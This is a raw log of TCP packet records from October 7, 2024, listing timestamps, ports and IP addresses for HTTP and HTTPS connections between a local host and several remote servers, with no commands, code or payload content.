Oct 7, 2024 03:23:14.642330885 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642348051 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642363071 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679213047 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679235935 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679263115 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679263115 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679280996 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679284096 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679295063 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679299116 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679316998 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679321051 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679328918 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679333925 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679351091 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679352999 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679367065 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679368019 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679397106 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679403067 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679403067 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679433107 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679552078 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679569006 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679585934 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679593086 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679610968 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679613113 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679617882 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679631948 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679650068 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679658890 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679666996 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679675102 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679696083 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679696083 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679708958 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679717064 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679734945 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679735899 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679752111 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679761887 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679761887 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679769993 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679789066 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679790974 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679800034 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679805994 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679824114 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679828882 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679840088 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679841042 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679857969 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679858923 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679873943 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679874897 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679893017 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679897070 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679908991 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679910898 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679923058 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679954052 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679955006 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.679970980 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.679994106 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680000067 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680002928 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680016994 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680037022 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680058002 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680066109 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680082083 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680083036 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680099010 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680108070 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680116892 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680120945 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680136919 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680145979 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680164099 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680176973 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680181026 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680176973 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680202007 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680202961 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680213928 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680231094 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680233955 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680259943 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680268049 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680278063 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680298090 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680299044 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680313110 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680316925 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680325031 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680330992 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680347919 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680351019 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680361032 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680361986 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680381060 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680382967 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680396080 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680399895 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680416107 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680428982 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680438995 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680445910 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680465937 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680465937 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680484056 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680485010 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680502892 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680509090 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680525064 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680543900 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680545092 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680562973 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680577993 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680584908 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680594921 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680596113 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680617094 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680628061 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680651903 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680669069 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680691957 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680701017 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680707932 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680727005 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680749893 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680761099 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680767059 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680800915 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680810928 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680828094 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680849075 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680860043 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680887938 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680916071 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680927038 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680932999 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680948973 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680952072 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680962086 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680975914 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.680985928 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.680994034 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681015015 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681022882 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681025028 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681041002 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681057930 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681062937 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681073904 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681090117 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681097984 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681107998 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681114912 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681138039 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681150913 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681154966 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681168079 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681189060 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681195974 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681197882 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681211948 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681229115 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681232929 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681246996 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681252956 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681262016 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681286097 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681314945 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681329012 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681344032 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681360960 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681370020 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681376934 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681381941 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681396008 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681396961 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681407928 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681416035 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681432962 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681432962 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681449890 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681452990 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681464911 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681478024 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681489944 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681495905 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681512117 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681515932 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681524038 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681529045 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.681548119 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.681565046 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.967212915 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.967607021 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.967645884 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.968303919 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.968310118 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.968353987 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.968755007 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.968786001 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.969428062 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.969435930 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.980592012 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.981019974 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.981035948 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.981435061 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.981440067 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.986129045 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.986562014 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.986572027 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.987159967 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.987211943 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.988173008 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.988221884 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.989145994 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.989238024 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.989267111 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.990660906 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.990972996 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.991013050 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.991302013 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.991314888 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.031446934 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.031817913 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:15.031826019 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.052201986 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:15.057157040 CEST	80	49854	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:15.057240009 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:15.057343960 CEST	49854	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:15.062149048 CEST	80	49854	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:15.064982891 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.065056086 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.065097094 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.065109015 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.065157890 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.065201044 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.065260887 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.065279007 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.065291882 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.065299034 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.067872047 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.067964077 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.068003893 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068016052 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.068032026 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.068072081 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068360090 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068396091 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.068444014 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068569899 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068589926 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.068603992 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.068617105 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.069547892 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.069564104 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.070667982 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.070694923 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.070866108 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.070892096 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.070895910 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.078465939 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:15.081063032 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.081193924 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.081244946 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.081278086 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.081285000 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.081295967 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.081300974 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.083865881 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.083929062 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.084012032 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.084105015 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.084136963 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.092912912 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.093122005 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.093173981 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.093286037 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.093286037 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.093312979 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.093336105 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.095544100 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.095568895 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.095640898 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.095856905 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.095880985 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.128994942 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.130137920 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.130153894 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.130647898 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.130651951 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.233699083 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.233839035 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.233980894 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.234070063 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.234091043 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.234106064 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.234112024 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.236598015 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.236623049 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.236712933 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.236928940 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.236943007 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.264024973 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.264095068 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:15.264106035 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.264121056 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.264166117 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:15.264789104 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:15.264795065 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:15.275197983 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.275218964 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.275283098 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.275438070 CEST	49860	443	192.168.2.4	142.250.181.238
Oct 7, 2024 03:23:15.275451899 CEST	443	49860	142.250.181.238	192.168.2.4
Oct 7, 2024 03:23:15.702944994 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.703612089 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.703670979 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.704098940 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.704107046 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.713835001 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.714396954 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.714405060 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.714559078 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:15.714569092 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:15.727495909 CEST	443	49858	13.107.246.45	192.168.2.4
